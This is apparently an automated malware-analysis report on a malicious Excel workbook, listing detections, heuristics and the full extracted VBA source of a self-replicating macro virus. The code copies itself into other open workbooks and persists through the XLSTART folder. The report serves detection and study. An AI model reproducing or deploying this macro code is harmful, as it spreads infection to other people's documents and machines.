Malicious Office (OLE) / .XLS — malware analysis report

Static analysis result for SHA-256 4eac232be293ce5b…

MALICIOUS

Office (OLE) / .XLS

45.5 KB Created: 2008-06-10 04:30:35 Authoring application: Microsoft Excel First seen: 2026-06-28
MD5: 6635ba75a591c520a93de1c8e84f8053 SHA-1: a466778ce2d591e0c988eaea10aa95d3395667ad SHA-256: 4eac232be293ce5b5a299b67a514aa836e60948aae21b731c95edb0c456554ca
268 Risk Score

Heuristics 7

  • ClamAV: Xls.Malware.Emeka-10012113-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Malware.Emeka-10012113-0
  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
            w2.InsertLines 1, w1.Lines(1, w1.CountOfLines)
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
                Set xlApp = CreateObject("Excel.Application")
  • VBA copies the workbook into the Excel XLSTART startup folder high OLE_VBA_XLSTART_PERSISTENCE
    The macro saves a copy of the workbook into Application.StartupPath (the Excel XLSTART folder) so the code auto-loads every time Excel starts. This is the persistence stage of a resident Excel macro virus, not normal document behaviour.
    Matched line in script
                xlWB.SaveAs Filename:=Application.StartupPath + "\Book1.", FileFormat:=xlNormal, AddToMru:=False
  • VBA hooks the VBE-editor / macro-list keys to evade inspection high OLE_VBA_VBE_KEY_HOOK_EVASION
    The macro reroutes Alt+F11 (Visual Basic editor) and/or Alt+F8 (macro list) through Application.OnKey, so an analyst's attempt to open the macro code is intercepted. This anti-analysis trick is a hallmark of resident Excel macro viruses hiding the viral module while it is loaded.
    Matched line in script
        Application.OnKey "{F8}", "ThisWorkbook.vtShowCol"
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Private Sub Workbook_Open()

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2583 bytes
SHA-256: e09b51a45c21fa52bd4eb9dc80150232d3a3aab35a23fc76d060290b2e5503c9
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
'OOO
Private Sub Workbook_BeforeSave(ByVal SaveAsUI As Boolean, Cancel As Boolean)
    If UCase(ThisWorkbook.Name) = "BOOK1" Then
        Application.Dialogs(xlDialogSaveAs).Show
        'Cancel = True
    End If
End Sub
Private Sub Workbook_Deactivate()
    On Error Resume Next
    Set w1 = ThisWorkbook.VBProject.VBComponents("ThisWorkbook").CodeModule
    Set w2 = ActiveWorkbook.VBProject.VBComponents("ThisWorkbook").CodeModule
    If w2.Lines(1, 1) <> "'OOO" Then
        w2.InsertLines 1, w1.Lines(1, w1.CountOfLines)
    End If
    
    If UCase(Dir(Application.StartupPath + "\book1.")) <> "BOOK1" Then
            Set xlApp = CreateObject("Excel.Application")
            Set xlWB = xlApp.Workbooks.Add
            Set xlWS = xlWB.Sheets.Add
            Set xlCM = xlWB.VBProject.VBComponents("ThisWorkbook").CodeModule
            xlCM.InsertLines 1, w1.Lines(1, w1.CountOfLines)
            xlWB.SaveAs Filename:=Application.StartupPath + "\Book1.", FileFormat:=xlNormal, AddToMru:=False
            xlWB.Close
            xlApp.Quit
        End If
End Sub
Private Sub Workbook_BeforeClose(Cancel As Boolean)
    On Error Resume Next
    TmpDir = "C:\TMP\"
    If Trim(Dir(TmpDir)) = "" Then
        MkDir TmpDir
    End If
    oldname = ThisWorkbook.Name
    mFileName = "C:\TMP\" + oldname
    ThisWorkbook.SaveCopyAs Filename:=mFileName
End Sub
Sub vtHideRow()
    Application.Selection.EntireRow.Hidden = True
End Sub
Sub vtShowRow()
    Application.Selection.EntireRow.Hidden = False
End Sub
Sub vtHideCol()
    Application.Selection.EntireColumn.Hidden = True
End Sub
Sub vtShowCol()
    Application.Selection.EntireColumn.Hidden = False
End Sub

Private Sub Workbook_Open()
    Application.OnKey "{F5}", "ThisWorkbook.vtHideRow"
    Application.OnKey "{F6}", "ThisWorkbook.vtShowRow"
    Application.OnKey "{F7}", "ThisWorkbook.vtHideCol"
    Application.OnKey "{F8}", "ThisWorkbook.vtShowCol"
End Sub

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

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